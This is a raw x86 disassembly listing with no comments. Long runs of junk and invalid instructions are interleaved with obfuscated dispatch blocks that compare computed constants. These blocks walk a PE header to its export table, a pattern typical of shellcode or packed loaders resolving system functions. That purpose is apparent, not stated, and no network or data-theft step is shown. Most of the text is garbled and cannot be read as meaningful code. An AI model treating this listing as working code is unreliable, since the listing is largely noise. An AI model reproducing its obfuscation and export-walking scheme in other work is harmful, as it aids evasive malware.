and eax, 0x5d8b0ebb
wait
cmpsb byte [esi], byte es:[edi]
xor bl, cl
dec edi
cmc
xor edi, dword [esi - 0x4a]
mov dh, 0xab
nop
int3
xor ch, byte [0xdfb4bf98]
jecxz 0x67b7e6b7
add eax, 0x86ac3f62
mov al, ah
invalid
dec esi
mov byte [ebx + 0x5d], ch
cmp al, 0x4b
pop esi
nop
int3
int1
pop edx
fnstcw word cs:[ebp - 4]
ret 0xd65
fcom qword [ecx]
sub eax, 0xa450bf80
sbb dl, byte [ebx - 0x11f91417]
call 0xa9d77390
dec ebp
clc
outsb dx, byte [esi]
jo 0x67b7eccf
jp 0x67b7ebda
test byte [ecx], 0x58
adc byte [eax], al
push 0xc
pop edi
push ebx
jg 0x67b7ec4f
js 0x67b7ecaf
stosd dword es:[edi], eax
push ebx
pop eax
fsubp st(4)
jnp 0x67b7eccd
int3
stosb byte es:[edi], al
pop esp
pop ds
mov cl, 6
mov dword [ebx - 0x24fc8c4c], eax
cmp edx, 0x25
mov word [0xcc904a3d], es
sub esi, dword [ebp - 0x287cb422]
push 0xc8aff1c0
ror dword [ebp + 0x5a], 1
dec edi
push ss
or byte [ebx], ah
mov ebx, ebx
int1
nop
jg 0x67b7ecef
invalid
mov eax, dword [0x72df78aa]
sub eax, dword [0x9a74caf7]
js 0x67b7ecb0
jb 0x67b7ecfe
add eax, 0x9a74caf7
add eax, 0x9e0f2e2a
pop ss
pop es
rcr byte [eax - 9], 1
leave
lea ecx, ds:[esi + 0x7c]
jae 0x67b7ec8d
and edi, dword [esi + 0x51095031]
xchg esp, eax
mov dword [esi + 0xf], esp
inc edx
inc esi
stc
add byte [0xf306d21e], 0xb9
shr dword [edx + edi*4], cl
jl 0x67b7ed34
nop
int3
ret 0xe374
invalid
nop
jmp 0x67b7f800
nop
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 0xcf9cc
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x7b157
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
sub eax, dword [ebp - 0x60]
sbb edx, dword [ebp - 0x5c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xe1ef6
or eax, dword [ebp - 0x64]
je 0x67b8360a
mov edx, 0xe1ef6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0xb885b
or eax, dword [ebp - 0x64]
je 0x67b80702
mov edx, 0xb885b
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x9f1c9
or eax, dword [ebp - 0x64]
je 0x67b86af3
mov edx, 0x9f1c9
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x84934
or eax, dword [ebp - 0x64]
je 0x67b86512
mov edx, 0x84934
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x76d43
or eax, dword [ebp - 0x64]
je 0x67b8536f
mov edx, 0x76d43
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x69cb9
or eax, dword [ebp - 0x64]
je 0x67b83029
mov edx, 0x69cb9
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x630f6
or eax, dword [ebp - 0x64]
je 0x67b80121
mov edx, 0x630f6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x56f18
or eax, dword [ebp - 0x64]
je 0x67b85f31
mov edx, 0x56f18
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x55164
or eax, dword [ebp - 0x64]
je 0x67b7fb40
mov edx, 0x55164
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x54875
or eax, dword [ebp - 0x64]
je 0x67b870d4
mov edx, 0x54875
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x47c7a
or eax, dword [ebp - 0x64]
je 0x67b812c4
mov edx, 0x47c7a
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x3736c
or eax, dword [ebp - 0x64]
je 0x67b81e86
mov edx, 0x3736c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x2a34f
or eax, dword [ebp - 0x64]
je 0x67b84d8e
mov edx, 0x2a34f
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x27062
or eax, dword [ebp - 0x64]
je 0x67b82a48
mov edx, 0x27062
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x22b68
or eax, dword [ebp - 0x64]
je 0x67b82467
mov edx, 0x22b68
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x20c8d
or eax, dword [ebp - 0x64]
je 0x67b83beb
mov edx, 0x20c8d
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x20b21
or eax, dword [ebp - 0x64]
je 0x67b85950
mov edx, 0x20b21
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x200e3
or eax, dword [ebp - 0x64]
je 0x67b847ad
mov edx, 0x200e3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x1fb82
or eax, dword [ebp - 0x64]
je 0x67b841cc
mov edx, 0x1fb82
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67b870d1
mov eax, dword [ebp - 0x68]
xor eax, 0x5020
or eax, dword [ebp - 0x64]
je 0x67b80ce3
mov eax, dword [ebp - 0x68]
xor eax, 0x79ed
or eax, dword [ebp - 0x64]
je 0x67b818a5
jmp 0x67b870d1
sub dword [edi - 0x77a9c19a], ecx
adc dh, ch
invalid
retf
jmp 0x883f017e
jle 0x67b80d45
test byte [edi + 0x7f1ae229], bh
sub ch, byte [ebp - 0x46]
inc edi
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
mov cl, 0xc9
inc eax
sub byte [esi + 0x482d78c5], 0xf1
xchg ecx, eax
dec esp
les edi, [ecx]
invalid
nop
int3
jg 0x67b812d4
pxor mm2, mm3
enter 0xffffffffffffd926, 0x33
sub eax, 0xce73c64d
sub byte [0x1fef1d6c], dh
lahf
inc esi
fisub dword [ecx - 0x29]
adc al, 0x4f
lodsd eax, dword [esi]
aaa
cmp eax, 0xb56e69d8
std
dec esi
sbb dword [0x6be93edf], ebp
xor al, byte [0x206db79]
pop es
cli
leave
jecxz 0x67b812b2
adc al, 0x28
outsb dx, byte [si]
fsub dword [edi - 0x1afab4c6]
stosd dword es:[edi], eax
nop
int3
pop eax
lodsb al, byte [esi]
and byte [ebp - 0x3db85e67], bl
cmc
or esp, dword [edi - 0x69033869]
adc al, 0xa0
cld
sal byte [edx - 0x49], cl
mov al, byte [0xb772d2fc]
cli
push esi
and eax, 0x4ced2235
ror dword [eax + 0x23989e5b], 0x5a
xchg ebp, eax
loope 0x67b8127d
imul eax, edx, 0x9c068247
scasd eax, dword es:[edi]
push ebx
jmp 0x67b81347
push esp
push edi
xchg esp, eax
ficomp dword [ecx + ebx*4]
lds ecx, [ecx - 0x6e]
jmp 0x67b8afd4
mov dword [eax + 0x5f], edi
pop es
loop 0x67b818cb
pop ss
pop dword [edx + 0x17]
stosd dword es:[edi], eax
pop edx
and al, ch
rcr byte [ebp - 9], cl
xchg ebx, eax
popfd
pop esp
push 0x90d2a4c3
xchg ecx, eax
pop edi
sal dword [esi], 1
push 0x6fa0f7de
jnp 0x67b818cd
xlatb
sub dword [ebx - 0x52f09905], ebp
xchg byte [edx], ch
sti
mov al, byte [0x9ac788c6]
popal
invalid
sti
shrd word [esi - 0x395f04d6], ax, cl
mov bh, al
lcall 0x95d0, 0x25e8da61
push 0xadc5194e
arpl word [edi - 0x62], bx
movsd dword es:[edi], dword [esi]
pushfd
stosd dword es:[edi], eax
test al, 0xb0
in al, dx
pop esi
lodsd eax, dword [esi]
mov edx, 0x8bbe712b
add eax, 0xd64b3c1f
fcom dword [esi - 0x68]
mov byte [0x5774d3bf], al
ret
sbb dword [ecx], esp
mov ebx, 0x6d0c0041
and dword [ebx + 0x6d0c0041], edi
test byte [ecx], cl
lodsd eax, dword [esi]
loope 0x67b81da3
int1
into
and eax, dword [edx + 0x28293b66]
pop ebx
mov dl, 0xc4
leave
scasb al, byte es:[edi]
dec ebx
in eax, dx
mov bl, 0xba
xchg esi, eax
and dl, ah
or ebx, dword [eax + 0x4d907c55]
ja 0x67b81dc3
out 0x7f, eax
dec edx
jb 0x67b81e04
ret 0x60a4
pop esi
test dword [eax + 0x37c5b57a], edx
fsubr qword [esi - 0x2e]
shl dword [edi - 0x6b], 0xf
pop ds
cli
jns 0x67b81df1
nop
int3
and byte [eax + 0x63], dh
test dword [edx], ecx
pop ecx
loop 0x67b81e23
sbb dl, byte [ebx]
in eax, 0x43
mov ecx, 0x96a44fd0
ja 0x67b81d64
jle 0x67b81d65
invalid
cwde
or edx, dword [eax]
lds edi, [ebx]
and eax, 0x81d3d282
dec esp
fstp qword [ebx + edx]
cmpsb byte [esi], byte es:[edi]
sub edx, dword [ebp + 0xdb66036]
xchg ebp, eax
pushal
mov dh, 0xd
inc esi
lcall 0x123, 0x877f46dc
lea ebp, [ebp - 0x49104bd8]
dec ebx
jg 0x67b81dc8
jle 0x67b81dfb
mov al, byte [0xe8a5cc90]
pop es
dec edi
mov al, 0x9d
jnp 0x67b81e4e
mov esp, 0x1bd02e6b
wait
scasb al, byte es:[edi]
in al, dx
push ds
xchg esp, edi
invalid
xchg ebp, eax
enter 0xffffffffffffd218, 0xffffffffffffffa6
jp 0x67b81e51
shl byte [esi + 0x3bfb7a64], cl
adc eax, 0x8a10e380
cmp edx, dword [0x8a10e380]
xchg edi, eax
mov ecx, 0x9973666
mov ebp, 0x17051e95
pop eax
dec ebx
aaa
loope 0x67b81e01
wait
add byte [eax + 0x43], dh
test al, 0x1c
xchg ecx, eax
daa
out 0xbe, eax
inc edi
pop ebx
std
iretd
adc byte [eax + 0x524fe9cc], 0
add byte [esi], cl
add byte [eax], al
push cs
loop 0x67b81e7e
in eax, 0x65
out dx, al
or byte [edi], dh
scasb al, byte es:[edi]
je 0x67b81ebc
test edx, ebp
mov sp, 0xb1d5
or esp, esp
scasd eax, dword es:[edi]
out dx, eax
and cl, bh
stc
cmp al, byte [ebp + 0x4ee4c4ab]
pop es
enter 0xffffffffffffc0ee, 0x25
outsd dx, dword [esi]
wait
cmp dword [edx - 0x45], ebp
push ebp
not byte [esi]
jecxz 0x67b81e84
cmp edi, dword [ecx]
fcom dword [edx - 0x1e]
sub byte [eax - 7], dl
sub eax, 0xedb18785
scasd eax, dword es:[edi]
jmp 0x67b81e51
in al, dx
pop ebx
push es
cmp dword [edi], 0xffffffc6
mov esp, 0x4577398b
daa
jl 0x67b8247c
jae 0x67b82483
jge 0x67b824d6
jbe 0x67b824eb
ret 0xd7fd
std
xlatb
mov eax, 0x5940e2df
popal
loop 0x67b82468
push 0x47
call 0xdb4bc890
mov edi, ebp
pop esi
sbb al, 0x5d
fisub word [ebx + 0x2b790d74]
je 0x67b824a3
jns 0x67b824c3
fild qword [esi - 0x819d2d9]
mov ebp, 0x768a5931
aaa
jbe 0x67b824c7
mov ebp, 0xd65e431f
jne 0x67b824f6
and byte [edx + 0x1cc4a3e1], cl
loopne 0x67b82494
mov bl, 0xd1
movsb byte es:[edi], byte [esi]
push edx
mov ecx, 0x7c49edac
lodsb al, byte [esi]
adc dword [edx - 0x32d3987e], eax
sub al, 0xcd
xor esi, dword [esi]
div dword [esi - 0x70]
int3
fistp dword [ecx]
xor al, 0x6c
fnsave dword [edi]
adc byte [ebx], ah
xchg esi, eax
or al, 0x6c
push esp
int3
pop esi
jnp 0x67b824f0
adc al, 0x76
xchg ecx, eax
int1
sub edx, 0x22
xor dword [ebx + 9], 0x23646237
movsb byte es:[edi], byte [esi]
jae 0x67b82501
aaa
bound esp, qword [ebx - 0x5c]
and ebp, dword [ebp + 0x17]
push ebx
lea ebx, [ecx - 0x1ab39e3]
adc ebp, dword [eax - 0xf5ccd39]
inc esp
invalid
movsb byte es:[edi], byte [esi]
sub eax, 0x92926790
test al, 0x4c
neg esp
fadd st(4), st(0)
int1
ljmp 0xf5e7
xor eax, 0xa87f10ae
les ebx, [esp + ebp*8 + 0x64451510]
fist dword [ebx - 0x51df926b]
popfd
xor al, 0x24
mov word [edi - 0x641f958d], fs
daa
adc byte [ecx], 0xf5
xor edx, esi
mov dword [0xadf1e305], eax
jecxz 0x67b8306e
daa
stc
inc eax
sub byte [eax], al
push edx
xor ebp, edi
mov byte [0x72dff82e], al
fmul qword [ebp + 0x506d78ee]
clc
nop
int3
out 0x78, eax
mov edi, 0xbc9f680b
adc ecx, dword [esi - 0x554bde9b]
jno 0x67b82fe4
mov byte [0xcd75a9a0], al
or byte [eax - 0x79], bl
shl byte [esi - 0x5b1c3cad], 1
sbb byte [ebp - 0x13eb1b52], ah
mov ah, 4
mov al, byte [0xd7233388]
rcl byte [edx + ebp*2], 0x48
lodsb al, byte [esi]
or byte [edx + 0x484600c4], cl
xchg ebx, eax
inc eax
bound eax, qword [edx - 0x623f0c63]
jmp 0xb6a24477
invalid
in al, dx
xchg ebx, eax
packsswb mm5, qword [edx]
out 0x2d, al
cmp ebp, ecx
cwde
jbe 0x67b83635
add al, 0x83
in eax, 0x77
cmp bh, dh
out dx, al
jl 0x67b835ef
adc dword [ebp + 0x5a], 0xe7d4bb8
mov ebp, 0xfa727ac4
push ebp
pop edx
mov eax, 0xbd0e7d4b
les edi, [edx + 0x72]
cli
mov ah, 0xbf
push 0x65
and eax, 0xb7a91a3e
nop
int3
stosd dword es:[edi], eax
sub byte [ebx], ch
jne 0x67b835d9
scasb al, byte es:[edi]
iretd
salc
mov ah, 0xb9
adc byte [edx - 0xe], bl
lodsb al, byte [esi]
mov al, byte [0xee2a7a25]
popfd
sub byte [ecx - 0x37eb912a], bh
xchg ecx, eax
loop 0x67b836b1
push 0x157566ae
mov ch, 0x72
dec edi
or cl, byte [ebx + 0x513fa8c1]
cmc
inc esp
pushal
dec ecx
dec edi
push eax
stosd dword es:[edi], eax
push esi
mov ah, byte [edx - 0x1833cb8d]
mov dl, 0xb4
cmp ebx, dword [edi - 0x17]
nop
int3
mov al, 0x6e
cmp bl, byte [ecx]
mov ss, word [ebx + 0x5a]
ficom word [ebx + edx*2 - 0x1e19de1f]
call 0xbe8da11
in al, 0x75
push ebp
aad 0x53
or dword [ecx], 0xaac9b36d
or dword [ebp - 0x4d], ebp
leave
stosb byte es:[edi], al
les edx, [ebx - 0x54c48ac2]
jge 0x67b83698
int3
enter 0x7fe6, 0xffffffffffffff83
sbb al, 0x82
aam 0x51
cmp bh, byte [esi + 0x78ae2f7e]
cmp eax, dword [0x1a6bc98c]
invalid
mov esi, 0x3a78e4ef
mov eax, ds
pushal
or edx, dword [edx + 0xfd1e75d]
salc
daa
test bh, cl
mov eax, 0x6217c61a
iretd
mov al, 0x90
pop ss
inc ecx
psubusb mm4, qword [ecx + 5]
add dl, byte [edx - 0x1bc439af]
push ds
mov bl, 0xab
pop esi
invalid
jmp 0x5184de01
jnp 0x67b84df9
invalid
adc dword [edi + 0x4ced2312], ecx
xchg esi, eax
xchg ebp, eax
cmp eax, 0x5deb16c2
jmp 0x3490f5
movsb byte es:[edi], byte [esi]
loop 0x67b84da1
sub esi, dword [ebx + 0x72]
lahf
jno 0x67b84d85
pop esi
mov bh, 0x9d
nop
and al, 3
ljmp 0xa0
adc dh, byte [ecx]
cmc
inc ecx
cld
ret 0xde8
loope 0x67b8598c
sahf
fnop
inc ecx
cmpsd dword [esi], dword es:[edi]
shr dword [edx + 0x7dd25ce9], 0xfd
add ch, byte [edx]
cmpsd dword [esi], dword es:[edi]
sbb dword [esi], ecx
inc eax
pop esi
sub al, 0xe3
leave
and dl, dl
mov dl, 0xd
arpl word [ecx + 0x5a514a52], dx
sbb cl, byte [esi + 0x34]
dec edi
mov dword [esi - 0x34bb2651], esp
out 0x2c, al
or eax, dword [esi + 0x10]
adc byte [ecx + 0x1d], 0x3d
in al, 0xb6
js 0x67b85967
pop ebp
sub byte [eax + 0x3e], ch
or al, 0x22
add edx, edi
push 0x3220c3e
xlatb
mov ah, 0x38
mov byte [ebx + 0xda7ef15], ch
pushal
scasb al, byte es:[edi]
xchg esi, eax
popfd
push ss
aaa
pop ebp
retf
adc dword [ebp + 0x7da54bc1], ecx
in eax, dx
mov esi, 0x541a2cdb
fsubr dword [edi - 0x45b52a72]
insd dword es:[edi], dx
retf
test dword [esi], esi
invalid
mov ebp, 0x39c4dfe4
inc eax
mov al, byte [0x7ab51b96]
sbb al, 0x63
invalid
nop
jmp 0x67b870d5
nop
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x78], 0x99850
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], 0x5c56e
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x80]
mov edx, eax
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x78]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x78]
mul dword [ebp - 0x80]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x88]
xor eax, 0x5fe50260
mov edx, dword [ebp - 0x84]
xor edx, 0x37
or eax, edx
je 0x67b8b41a
mov edx, 0x5fe50260
mov eax, 0x37
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xd756d
or eax, dword [ebp - 0x84]
je 0x67b87f34
mov edx, 0xd756d
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xc8358
or eax, dword [ebp - 0x84]
je 0x67b87953
mov edx, 0xc8358
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xc1488
or eax, dword [ebp - 0x84]
je 0x67b890d7
mov edx, 0xc1488
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xbba4a
or eax, dword [ebp - 0x84]
je 0x67b8a27a
mov edx, 0xbba4a
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xb4db9
or eax, dword [ebp - 0x84]
je 0x67b896b8
mov edx, 0xb4db9
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0xa9dba
or eax, dword [ebp - 0x84]
je 0x67b8a85b
mov edx, 0xa9dba
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0x6b587
or eax, dword [ebp - 0x84]
je 0x67b88515
mov edx, 0x6b587
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0x63e06
or eax, dword [ebp - 0x84]
je 0x67b89c99
mov edx, 0x63e06
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0x2a72a
or eax, dword [ebp - 0x84]
je 0x67b8ae3c
mov edx, 0x2a72a
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x67b8b41d
mov eax, dword [ebp - 0x88]
xor eax, 0x1a8f
or eax, dword [ebp - 0x84]
je 0x67b87372
mov eax, dword [ebp - 0x88]
xor eax, 0xa240
or eax, dword [ebp - 0x84]
je 0x67b88af6
jmp 0x67b8b41d
inc ebp
leave
mov ecx, 0x59ede4d
fisttp word [ecx]
in eax, 0x2d
mov ecx, 0xe251737d
sbb ebx, ecx
sub byte [edx], bl
xor al, 0x23
dec esi
cld
push es
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
cmp ebp, esi
ljmp 0xf523
js 0x67b8797a
adc ebx, esi
loope 0x67b879c8
pop ss
or dword [eax - 0x79], ebx
and byte [edx + 0x70], ch
sbb ebp, edx
jo 0x67b87963
call 0x1b5d03f1
arpl sp, ax
jg 0x67b879b7
std
mov dword [0xf4418c9e], eax
add edx, dword [ebx + edi*8]
dec esp
scasd eax, dword es:[edi]
lcall 0xd80d, 0x9082023
mov edx, 0xa2541966
sub ah, dl
add dword [edi], ebp
and esp, dword [eax]
or byte [ecx], cl
or eax, 0x1966bad8
push esp
mov byte [0x1d428f3], al
das
pop ebp
adc dword [ebp + 0x1c], ecx
mov dh, 0x21
pop ss
mov byte [esi], al
adc bl, byte [edi]
fdivr qword es:[ecx - 0x52c4a16]
and dword [edi + 0x4b], esp
cmp eax, dword [ecx - 0x3b6e9b0b]
pop ss
xor dword [edx + 0x19], ebx
arpl word [ecx + 0xf6032e5], bx
invalid
in eax, dx
ja 0x67b879ca
sbb al, 0x10
fcomp dword [ebx]
push esi
int1
invalid
xchg ebp, eax
and bh, byte [ebx + 0x46cf424c]
mov ebx, 0x46cf424c
sbb esp, dword [edx - 0x6e7008fa]
jnp 0x67b879de
pop ebx
add ah, cl
pop ebp
cmp dword [ecx - 0x1ae5d725], edx
dec eax
sub byte [edx], bl
in eax, 0x48
shl byte [edx], 0x7c
popal
invalid
hlt
xor dword [ebx + 0x6a574f54], edx
pop ds
cmpsb byte [esi], byte es:[edi]
mov bh, 0x3d
pop ecx
iretd
cmp byte [ecx], ah
mov byte [ebx + 0x77f73279], 0x44
cmp al, 0x56
jmp 0x67b884d7
inc edx
push ebp
enter 0x5411, 0xffffffffffffff94
mov eax, 0xa7a3a703
cmc
call 0x7d6de442
ljmp 0x5495
jo 0x67b8912d
sub dword [ecx], ebp
or al, 0x81
and eax, eax
mov eax, dword [ebp - 0x70]
retf 0xd56e
ror esi, 1
and al, 0xe
lea edi, [esi + 0x7b3064df]
dec edi
xor byte [ebx + 0x4f], bh
dec byte [ebp - 0x4c]
aam 0xf7
pop ds
mov cl, 0xc3
mov esi, 0x8feecc90
jecxz 0x67b891b4
push esp
aas
bound ebp, qword [ebx - 0x5033a1de]
in eax, dx
pop edx
test dh, ah
scasb al, byte es:[edi]
dec edx
push es
and bl, byte [eax]
aaa
lahf
shl dword [ebx + 0x17], 1
mov al, byte [0x7572ebf7]
lds ebp, [esi - 0x62]
or eax, 0x7413fcee
cmp ch, dl
jg 0x67b89125
pop esp
push cs
and ebp, ebx
cmpsb byte [esi], byte es:[edi]
mov bh, 0x4a
and eax, 0xaa6dafce
mov al, byte [0xa438e21e]
mov edx, 0x641f7e31
mov ecx, 0xabafd0b9
salc
mov ecx, 0xd6abafd0
mov ebp, 0x3b120279
iretd
int1
xor al, 0xee
fdiv dword [edi - 0x197187da]
mov al, 0xd2
cld
loop 0x67b8917f
jmp 0x67b89223
mov esi, 0xe8e86f56
or byte [eax], 0x8c
push ss
sbb al, 0x8f
invalid
fiadd dword [edx]
test eax, 0xe62ea050
clc
dec ebx
xchg edi, eax
invalid
or bh, byte [eax]
mov ecx, 0x6b02eff5
mov ebp, 0x1d3a4cd2
or dword [edi], 0x6b820117
xor dl, cl
push 0x9e3463a2
or dword [ebx - 0x237be21d], edx
stosd dword es:[edi], eax
invalid
out dx, eax
sub dword [edi], ebx
sbb byte ss:[eax], dh
daa
push esi
sbb dword [esi - 0x20], edi
xchg ebx, eax
xchg esp, eax
retf
insd dword es:[edi], dx
dec edi
retf 0x67c1
mov al, byte [0x89b157e4]
mov al, 0xbc
cld
out dx, eax
invalid
in al, 0x6b
hlt
nop
jmp 0x67b8b41e
nop
mov eax, dword [ebp - 0x6c]
add eax, 0x78
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x98], 0x9d892
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xa0], 0x81966
mov dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0xa0]
mov edx, eax
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x98]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x98]
mul dword [ebp - 0xa0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
mov eax, dword [ebp - 0xa8]
xor eax, 0xbea28c2c
mov edx, dword [ebp - 0xa4]
xor edx, 0x4f
or eax, edx
je 0x67b8d913
mov edx, 0xbea28c2c
mov eax, 0x4f
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x67b8d916
mov eax, dword [ebp - 0xa8]
xor eax, 0x9f97f
or eax, dword [ebp - 0xa4]
je 0x67b8c192
mov edx, 0x9f97f
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x67b8d916
mov eax, dword [ebp - 0xa8]
xor eax, 0x5da38
or eax, dword [ebp - 0xa4]
je 0x67b8b5d0
mov edx, 0x5da38
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x67b8d916
mov eax, dword [ebp - 0xa8]
xor eax, 0x530b1
or eax, dword [ebp - 0xa4]
je 0x67b8d335
mov edx, 0x530b1
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x67b8d916
mov eax, dword [ebp - 0xa8]
xor eax, 0x51ff0
or eax, dword [ebp - 0xa4]
je 0x67b8cd54
mov edx, 0x51ff0
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x67b8d916
mov eax, dword [ebp - 0xa8]
xor eax, 0x34cc
test dword [eax - 1], ebx
invalid
add byte [eax], al
or eax, dword [ebp - 0xa4]
je 0x67b8c773
dec dword [edi]
test byte [edi - 0x74ffffef], bh
test dword [eax - 1], ebx
invalid
mov eax, dword [ebp - 0xa8]
xor eax, 0x1f6ce
or eax, dword [ebp - 0xa4]
je 0x67b8bbb1
jmp 0x67b8d916
xor edx, dword [edi + ebp*2 - 0x47]
xchg ebx, eax
lodsb al, byte [esi]
push ebx
out dx, eax
pop es
imul ecx, dword ds:[edx + 0x42], 0xffffffe4
fcmovnb st(0), st(0)
xchg dword [edi], ebp
dec ecx
and ch, bl
xlatb
cmpsd dword [esi], dword es:[edi]
adc byte [edi + 0x50], bh
dec ebp
mov eax, 0x1363c67d
xchg edi, eax
and dword [ebp + 0x7a], esi
jle 0x67b8b5a6
jns 0x67b8b59e
add dl, byte [ebx - 0x19]
mov ss, word [ebx]
jle 0x67b8b5ad
lodsd eax, dword [esi]
invalid
push esi
invalid
mov byte [0x4f44a9a5], al
pop edi
xchg esp, eax
out dx, eax
dec ebp
daa
arpl word [ecx - 0x38], bx
leave
and byte [eax + 0x1d66e9cc], dl
add byte [eax], al
dec edx
inc ebp
clc
cmp eax, 0x11966396
pop edx
mov byte [ecx + 0x7b], dl
sar dword [ecx], 1
dec esp
in al, 0xa4
in al, 0xa4
fild dword [ecx]
xchg esi, eax
sbb eax, 0xbc47ec54
pop edx
jge 0x67b8bc4c
xchg ebx, eax
xor byte [esi + 0x1c], cl
xchg ecx, eax
xor dword [ecx + 0x603242db], 0x2739323d
scasb al, byte es:[edi]
jno 0x67b8bc41
mov bh, 0x66
movsb byte es:[edi], byte [esi]
